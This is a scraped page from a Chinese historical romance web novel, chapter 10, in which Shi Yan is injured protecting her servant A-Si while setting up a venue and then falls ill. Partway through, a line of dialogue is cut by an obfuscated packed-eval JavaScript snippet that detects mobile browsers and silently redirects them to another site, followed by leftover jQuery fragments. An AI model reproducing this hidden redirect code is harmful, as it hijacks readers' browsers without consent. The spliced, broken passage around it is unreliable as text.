默认冷灰
24号文字
方正启体

10. 第10章

作者:云荞本书字数:K更新时间:
    时烟停下脚步回头盯着他,质问着:“我何时说过要赶你走?你又是听谁说的?”


    听到时烟说不会将自己赶走,阿肆面上一喜,一双湿漉漉的眼睛望着她,像是在无声的撒娇着:“那娘子可多理理我?”


    时烟回想着这几日,她不理他?


    难道不是他不理她吗?


    好几次时烟都想找他聊聊新品的事情,却又看他跟老师傅们聊得很欢快便止住了打算。


    还想着回来问问他却又找不着人。


    “我不理你?”时烟想不明白直说着:“我几次找你你不是忙就是不在,何来不理你一说?”


    闻言,阿肆轻笑出声,心中的害怕顷刻间消失。


    原来,是两人都刚好错过才造成的误会。


    时烟见眼前的人傻笑着,很是不明白,“你笑什么?”


    阿肆回神,“我做了宵夜,娘子可否赏脸?剩下的我们慢慢谈?”


    时烟点头,几日没吃到阿肆做的吃食,确实有些馋了。


    藏在暗处的刘妈和小影见成了,脸上都带着笑。


    “两人说开了就好啊,这几日娘子都没什么笑脸。”刘妈感叹着。


    身旁的小影赞同,“这阿肆也是一样,我还是头一次见他笑得这般不值钱,你看你看,他就差背着是娘子走了,生怕她摔着似的。”


    *


    经过昨晚的事情后,两人之前的隔阂都消失得干干净净。


    一大早,阿肆就将自己打扮得板板正正,站在门外等着时烟。


    时烟在看到阿肆时,脸上也带着柔和的笑,搭着他的手上了车。


    “娘子昨日的地方看得怎么样了?今日可需要我陪同?”阿肆问道。


    时烟想了想,“地方看得不错,接下来就等着布置了。”


    “那……”阿肆忐忑道:“那今日我陪着你?”


    “刘妈就好,你还是在店中。”


    阿肆轻蹙着眉,一脸为刘妈好的模样,“娘子,这布置现场肯定人多眼杂,刘掌事也累了几日让她歇歇?”


    “可店中……”


    “店中新品已经全都准备好了。”阿肆抢着回答:“现场布置我也能帮得上忙啊。”


    时烟想来也是,刘妈都反复跟着奔波几日了让她歇歇也好。


    “那就同你说的,你跟着我去刘妈在店中。”


    刘妈知道这件事后看着阿肆那一脸笑,打趣着:“这一看就是你的主意,又给娘子吹了什么风?”


    阿肆笑着给刘妈捏了捏肩,“这不也是刘掌事愿意给我机会嘛,你要是不点头我也不能跟着。”


    “贫嘴。”刘妈笑着,回想起前几日的事情心里还在后怕,连忙交代着:“你跟着去也好,好好护着娘子可别叫她伤着。”


    两人上车后,阿肆便一直照顾着时烟。


    不是问渴了就是问热了。


    整个路程,时烟耳边就没有安静过。


    “阿肆,我想眯一会。”


    阿肆这才反应过来自己话过多了,带着歉意道:“抱歉娘子,你歇息到了我叫你。”


    时烟点头撑着脑袋阖着眼。


    阿肆没再说话,只是拿着扇子在一旁安静地为她扇着。


    到地方时,已经有工人在布置了。


    阿肆扶着时烟下了车,同她一起在现场盯着。


    时烟选的地方很是雅静,碧水蓝天到时候再加上美酒小曲还有他们研制的新品,届时梦香坊一定会再上一个高度。


    阿肆陪着她走了一会,见她额上满是汗珠,道:“时娘子坐着歇会,我去帮你取点水。”


    时烟擦了擦汗,嗯了声。


    坐在凉亭中乘凉的时烟,望着阿肆的背影出了神,心中生起了某种异样的情绪。


    阿肆回来时她都还在出神。


    “时娘子。”阿肆轻声唤道,蹲在她身旁一脸担忧:“娘子可是哪里不适?”


    时烟回过神摇着头,“没事,你叫他们也都歇会吧,现在日头太晒。”


    阿肆看了眼身后的工人,想了想:“那可要给你们弄点水来?”


    时烟点头,“你再带人去弄点瓜果。”


    阿肆速度很快,不一会就拿来不少新鲜的瓜果,一筐筐的摆在地上。


    阿肆吆喝着:“大家歇会过来喝点水吃点果子吧!”


    话音刚落,工人们放下手中的活半信半疑上前,问:“这些都是给我们吃的?”


    阿肆笑着,看向身后的时烟,“对,这些都是时娘子让我准备的,日头太晒大家吃了歇息一会再做。”


    “哟,不错啊,这还是头一回有这样的待遇。”工人们夸道:“这时娘子人美心善真不是吹的。”


    “排好队啊,大家都有不能抢不能挤。”阿肆招呼让小厮发着。


    自己挑了不少好的果子递到时烟面前,“娘子尝尝,可甜了。”


    时烟带着笑拿了颗果子,刚咬一口整个人都愣住了。


    见状,阿肆连忙问着:“怎么了?不好吃吗?”


    时烟咽下嘴里的果子,挑了一个差不多的递给他,“尝尝可甜了。”


    阿肆接过咬下一口,眉头瞬间皱巴在一起,望向手中的果子,吐槽着:“这怎么这么酸啊,我还特意留的红的。”


    时烟被他这幅样子逗得直笑。


    阿肆抢走她手中的果子,“这个不好吃别吃了,娘子还笑话我。”


    “是你同我说的可甜了。”时烟嘲笑道:“怎么样,是不是很甜?”


    阿肆哼了一声,“娘子莫要取笑我。”


    *


    工人们吃完后干起活来更是卖力了些。


    进度很快,没一会就布置好了大半。


    时烟很是满意,在现场转了转发现不足的地方也能及时改正。


    “小心!”


    两人身后传来惊呼声。


    时烟一回头就见一根木头朝着他们倒来。


    眼瞅着要砸到阿肆,时烟下意识将他推开自己伸手挡了一下,才能没让那木头砸到阿肆的头。


    阿肆踉跄了一步好在撑着身旁柱子才能没摔倒。


    本还在处于后怕中,身后的喧闹才引得他回头。


    “时娘子不好意思那根木头没扶住才……”工人急的脸上都是汗,生怕出个什么事。


    “没事吧时娘子?”


    时烟看着周围担忧的工人们,强忍着手臂上的疼痛,轻声开口:“无碍,大家继续吧今日早些完成好回家。”


    见状,阿肆连忙走来,上下检查着时烟,“可有伤着?”


    被抓到疼痛的地方,时烟眉头立马皱着,低声道:“阿肆,你抓着我伤口了。”


    话落,阿肆慌的连忙将手松开,扶着她上了马车。


    望着她手臂上红肿的一大片,阿肆心疼的眼泪都要出来,“时娘子怎么不紧着自己。”


    “没事,只是红没有伤口。”时烟见他没事,笑着:“你头上本来就有伤,要真被那木头砸到,人要是变得痴傻怎么办?”


    “到时候,你还能想起来自己是谁吗?”见他不说话,时烟又道:“难道你不想赎回卖身契了?”


    阿肆垂着眸,目光落在她那处红肿的手臂,帮她轻抹了些药膏,嘀咕道:“出门前刘掌事还让我仔细着点让我护好你,结果


    还让娘子为了救我受了伤。


    见她手臂上一大片又红又紫的,阿肆心疼道:“娘子要不先回去找个郎中看看吧?”


    时烟望了望时辰,摇头:“没什么大事,这边早点结束早


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249017|197911||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点回去。”


    阿肆知道谁都不能改变不了时烟的决定,替她上完药后也加入了布置的活计中。


    想着快点完成,早些让时烟回去。


    好在众人速度快,赶在天黑前将所有事情全都布置好。


    遣散工人后,阿肆扶着时烟上了车回了府。


    途中。


    阿肆时不时观察着时烟。


    自从受伤后,时烟的脸色就一直不大好。


    现在那脸色更是白得同纸似的。


    “时娘子,当时还伤到哪里了?”阿肆问着,他一个大男人也不好检查,只能时烟说什么就是什么。


    时烟摇着脑袋,沙哑的声音开口,“就是有点累了。”


    听着声音不对,阿肆顾不得礼数抬手摸了摸她的额头。


    滚烫!


    吓得他连忙撤回手,朝外道:“车夫,速度再快些!”


    时烟靠着车身,眼神有些恍惚。


    恍惚间,好像听到什么哭声?


    再后来她便记不清了。


    马车刚停稳,阿肆唤了唤时烟见她没反应,脸色一变抱着她下了车朝府中奔去。


    听到动静的刘妈脸上还挂着笑意,直到阿肆抱着时烟跑来时,笑意变成了慌张,连忙让人去请了郎中来。


    见时烟一脸绯红身上滚烫,刘妈气着将阿肆拉到身后,“你一个大男人站这儿不方便,你去打点热水过来。”


    阿肆走后,刘妈刚帮时烟脱下汗湿的衣衫就听见她嘴里嘀咕着疼。


    闻声,刘妈连忙问道:“娘子,哪里疼?”


    “疼……”时烟紧闭着眼,皱着眉头直念叨着。


    时烟光说疼也不说是哪里,急得刘妈到处检查,这才看到她受伤的手臂。


    见那惨不忍睹的手臂,刘妈黑着脸。


    阿肆也打了水过来,道:“刘掌事,水来了。”


    仆人领着郎中来检查时,刘妈黑着脸揪着阿肆的耳朵没好气道:“你说说你,出门前我还再三叮嘱让你护好时娘子别让她伤着,你怎么答应的?”


    话落,阿肆扑通一声跪在地上,“掌事,时娘子是为了救我才受伤的,你罚我吧。”


    刘妈这惩罚确实怎么都下不了手。


    毕竟是时烟亲自救的,想来也不愿阿肆为此受到罚。


    刘妈叹着气,“那我就罚你为娘子煲点汤吧,我去看看娘子。”


    刘妈到屋中时,郎中正检查着她手臂上的伤。


    刘妈:“郎中,我家娘子怎么样了?”


    “无大碍,染了风寒吃帖药就好了。”郎中说着从箱子里拿出一罐药膏,“时娘子这手上的伤别沾水,擦着这个再配上这副药就好了。”


    刘妈送走郎中后,见阿肆还在后厨忙活。


    还没进入后厨,她便闻到了一阵鸡汤味。


    “阿肆你厨艺不错啊!”刘妈看了眼那鲜亮的鸡汤,见一旁还有熬煮的白粥,道:“倒是功过相抵了。”


    阿肆放下手中的东西,问着:“掌事,时娘子怎么样了?”


    刘妈:“没事的,就是受了风寒,郎中说喝完这些药就好了。”


    话音刚落,阿肆连忙接过她手中的药,道:“这些就交给我吧,我来熬。”


    刘妈瞧他那样,轻笑着:“行都交给你做。”


    阿肆:“等汤熬好了,也请掌事帮我尝尝味道。”


    “那我就不客气了。”刘妈探了探后院,“那这里全交给你,我去照顾娘子。”


    刘妈回到屋里时,时烟还在睡着,脸烧得通红还时不时咳嗽两声。


    见状,刘妈端来温水,轻声唤道:“娘子,醒醒喝点水。”


    时烟悠悠转醒,见外面漆黑一片,哑声问着:“刘妈,我这是怎么了?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)